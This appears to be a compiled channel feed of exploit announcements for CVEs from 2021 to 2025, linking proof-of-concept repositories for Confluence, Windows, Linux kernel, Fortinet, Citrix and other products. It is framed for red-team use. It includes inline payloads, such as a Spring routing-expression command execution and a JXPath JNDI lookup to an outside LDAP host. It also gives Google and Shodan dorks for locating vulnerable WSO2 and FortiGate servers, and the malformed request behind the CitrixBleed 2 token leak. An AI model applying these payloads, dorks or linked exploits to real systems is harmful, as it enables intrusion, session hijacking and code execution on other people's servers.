Confluence RCE Exploit - CVE-2021-26084

#exploit #confluecne

CVE-2021-40444 — Analysis

https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/

#office #CVE_2021_40444 #exploit

iOS 15 0day Exploits

https://github.com/illusionofchaos/ios-gamed-0day
https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day
https://github.com/illusionofchaos/ios-nehelper-enum-apps-0day

#ios #0day #exploit

SonicWall SMA-100 Unauth RCE

Bad Blood is an exploit for CVE-2021-20038, a stack-based buffer overflow in the httpd binary of SMA-100 series systems using firmware versions 10.2.1.x. The exploit, as written, will open up a telnet bind shell on port 1270. An attacker that connects to the shell will achieve execution as nobody.

Research:
https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis

Exploit:
https://github.com/jbaines-r7/badblood

#sonicwall #exploit #rce #cve

SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022–22718)

Research:
https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81

Exploit:
https://github.com/ly4k/SpoolFool

#windows #print #spooler #lpe #exploit

CVE-2022-0995

This is my exploit for CVE-2022-0995, an heap out-of-bounds write in the watch_queue Linux kernel component.

It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html.

The exploit targets Ubuntu 21.10 with kernel 5.13.0-37.
The exploit is not 100% reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely.

https://github.com/Bonfee/CVE-2022-0995

#linux #lpe #exploit #cve

SpringShell: Spring Core RCE
(CVE-2022-22963)

PoC Payload:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xcalc")

Research:
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

Exploit:
https://github.com/craig/SpringCore0day

#spring #exploit #rce #cve

WSO2 RCE (CVE-2022-29464)

Critical vulnerability on WSO2 discovered by Orange Tsai. the vulnerability is an unauthenticated unrestricted arbitrary file upload which which allows unauthenticated attackers to gain RCE on WSO2 servers via uploading malicious JSP files.

Google Dorks:

inurl:"/carbon/admin/login.jsp"
inurl:"/authenticationendpoint/login.do"
inurl:"devportal/apis"
intitle:"API Publisher- Login"
intitle:"WSO2 Management Console"

https://github.com/hakivvi/CVE-2022-29464

#wso2 #rce #exploit

😈 Fortinet RCE (CVE-2022-40684)

Fortinet recently patched a critical authentication bypass vulnerability in their FortiOS, FortiProxy, and FortiSwitchManager projects (CVE-2022-40684). This vulnerability gives an attacker the ability to login as an administrator on the affected system.

Shodan Dork:
product:"Fortinet FortiGate"

Research:
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

PoC:
https://github.com/horizon3ai/CVE-2022-40684

Detection for SOC:
https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

#fortinet #rce #research #poc #exploit

⚙️ Apache Commons Jxpath (CVE-2022-41852)

This vulnerability affects Java library called Apache Commons JXPath, which is used for processing XPath syntax. All versions (including latest version) are affected by this vulnerability. If your application uses JXPath library, you might be vulnerable. According to CVE information, all methods for XPath processing are vulnerable, except for except compile() and compilePath(). If user can provide value for the XPath expression, it might allow him to execute code on your application server.

Payload:
jxPathContext.getValue("javax.naming.InitialContext.doLookup(\"ldap://check.dnslog.cn/obj\")");

PoC:
https://github.com/Warxim/CVE-2022-41852

Research:
https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

#apache #commons #jxpath #cve #exploit

🔑 Abuse Kerberos RC4 (CVE-2022-33679)

This blog post goes into detail on how Windows Kerberos Elevation of Privilege vulnerability works and how to force Kerberos to downgrade the encoding from the default AES encryption to the historical MD4-RC4. The vulnerability could allows an attacker to obtain an authenticated session on behalf of the victim and also lead to arbitrary code execution.

Research:
https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html

Exploit:
https://github.com/Bdenneu/CVE-2022-33679

#ad #kerberos #rc4 #exploit

WinRAR <= 6.22: code execution PoC

https://github.com/b1tg/CVE-2023-38831-winrar-exploit

#git #exploit #pentest #redteam #fishing #initial

CVE-2023-29357: Microsoft SharePoint Server Elevation of Privilege

https://github.com/Chocapikk/CVE-2023-29357/tree/main

#exploit #pentest #redteam #git

CVE-2024-21413: Microsoft Outlook Leak Hash

https://github.com/duy-31/CVE-2024-21413

#exploit #pentest #redteam #ad

CVE-2024-4577: PHP CGI Argument Injection (RCE)

on Windows
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

PoC: https://github.com/watchtowrlabs/CVE-2024-4577

Blog: blog1 & blog2

#exploit #rce

CVE-2024-26229: Windows LPE

PATCHED: Apr 9, 2024

https://github.com/RalfHacker/CVE-2024-26229-exploit

P.S. Чуть поправил оригинальный эксплоит

#git #exploit #lpe #pentest #redteam

CVE-2024-30088: Windows LPE

PATCHED: June 11, 2024

https://github.com/tykawaii98/CVE-2024-30088

P.S. Протестил на Win11, работает

#git #exploit #lpe #pentest #redteam

CVE-2024-43468: ConfigMgr/SCCM 2403 Unauth SQLi to RCE

PATCHED: Oct 8, 2024

Exploit: https://github.com/synacktiv/CVE-2024-43468

Blog: https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections

#git #exploit #ad #rce #sccm #pentest #redteam

🩸 CitrixBleed 2 — Citrix NetScaler Memory Leak (CVE-2025-5777)

Critical memory leak vulnerability in Citrix NetScaler ADC/Gateway. Sending malformed POST request with login parameter without value causes server to return ~127 bytes of uninitialized stack memory, including session tokens, enabling MFA bypass and active session hijacking.

🔗 Research:
https://horizon3.ai/attack-research/attack-blogs/cve-2025-5777-citrixbleed-2-write-up-maybe/

🔗 Source:
https://github.com/win3zz/CVE-2025-5777

#citrix #netscaler #memoryleak #exploit